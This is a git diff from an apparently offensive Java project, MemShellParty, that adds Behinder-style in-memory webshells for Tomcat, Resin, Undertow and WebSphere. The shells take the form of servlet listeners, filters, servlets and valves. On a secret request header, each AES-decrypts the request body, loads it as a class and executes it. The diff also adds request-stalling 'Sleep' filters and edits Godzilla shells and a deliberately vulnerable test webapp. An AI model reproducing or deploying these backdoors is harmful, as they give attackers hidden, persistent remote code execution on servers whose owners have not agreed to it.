Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java new file mode 100644 index 00000000..582d5690 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java @@ -0,0 +1,111 @@ +package com.reajason.javaweb.memshell.resin.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java new file mode 100644 index 00000000..e2e485ee --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderFilter extends ClassLoader implements Filter { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderFilter() { + } + + public BehinderFilter(ClassLoader c) { + super(c); + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = ((HttpServletRequest) servletRequest).getSession(); + Map obj = new HashMap(3); + obj.put("request", servletRequest); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine())); + Object instance = (new BehinderFilter(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java new file mode 100644 index 00000000..5eabbde3 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -0,0 +1,102 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderServlet extends ClassLoader implements Servlet { + + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + @Override + @SuppressWarnings("all") + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine())); + Object instance = (new BehinderServlet(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } + + public BehinderServlet() { + } + + public BehinderServlet(ClassLoader parent) { + super(parent); + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java new file mode 100644 index 00000000..a9260afa --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -0,0 +1,105 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderValve extends ClassLoader implements Valve { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public BehinderValve() { + } + + public BehinderValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index d9803e2c..2cd38b5f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -108,7 +108,6 @@ public class GodzillaFilter extends ClassLoader implements Filter { response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16)); } - } else { chain.doFilter(servletRequest, servletResponse); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java index 8304ce14..9fad8dfe 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java @@ -132,6 +132,5 @@ public class GodzillaValve extends ClassLoader implements Valve { e.printStackTrace(); this.getNext().invoke(request, response); } - } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java new file mode 100644 index 00000000..b60ff53a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memshell.shelltool.sleep; + +import javax.servlet.*; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class SleepFilter implements Filter { + private int second = 10; + + @Override + public void destroy() { + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + try { + Thread.sleep(second * 1000); + } catch (InterruptedException ignored) { + + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java new file mode 100644 index 00000000..e17220eb --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.memshell.shelltool.sleep; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class SleepListener implements ServletRequestListener { + private int second = 10; + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent sre) { + try { + Thread.sleep(second * 1000); + } catch (InterruptedException ignored) { + + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java new file mode 100644 index 00000000..700f9492 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java @@ -0,0 +1,45 @@ +package com.reajason.javaweb.memshell.shelltool.sleep; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class SleepValve implements Valve { + private int second = 10; + + @Override + public Valve getNext() { + return null; + } + + @Override + public void setNext(Valve valve) { + + } + + @Override + public void backgroundProcess() { + + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + Thread.sleep(second * 1000); + } catch (InterruptedException ignored) { + + } + } + + @Override + public boolean isAsyncSupported() { + return false; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java new file mode 100644 index 00000000..323a4906 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memshell.tomcat.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java index 9ebb8dfd..a7422225 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java @@ -18,7 +18,7 @@ public class CommandListener implements ServletRequestListener { } @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + public static Object getFieldValue(Object obj, String name) throws Exception { Field field = null; Class clazz = obj.getClass(); while (clazz != Object.class) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java index ec4cbd39..f27c0ede 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java @@ -28,7 +28,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe } @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + public static Object getFieldValue(Object obj, String name) throws Exception { Field field = null; Class clazz = obj.getClass(); while (clazz != Object.class) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java new file mode 100644 index 00000000..2031a717 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java @@ -0,0 +1,118 @@ +package com.reajason.javaweb.memshell.undertow.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse"); + break; + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java new file mode 100644 index 00000000..eda6d88e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java @@ -0,0 +1,109 @@ +package com.reajason.javaweb.memshell.websphere.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", this.pass); + } catch (NoSuchMethodError e) { + session.setAttribute("u", this.pass); + } + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); + } +} diff --git a/settings.gradle b/settings.gradle index f6d5f9c1..4ae0f618 100644 --- a/settings.gradle +++ b/settings.gradle @@ -1,11 +1,14 @@ rootProject.name = 'MemShellParty' +include 'common' +include 'godzilla' +include 'behinder' +include 'memshell' +include 'deserialize' include 'generator' +include 'boot' +include 'integration-test' include 'vul-webapp' include 'vul-webapp-jakarta' -include 'integration-test' -include 'boot' -include 'deserialize' include 'vul-webapp-expression' -include 'memshell' diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java index 46028d43..80bc3dc4 100644 --- a/vul-webapp/src/main/java/TestServlet.java +++ b/vul-webapp/src/main/java/TestServlet.java @@ -259,8 +259,6 @@ public class TestServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - List context = getContext(); - System.out.println(context.size()); } @Override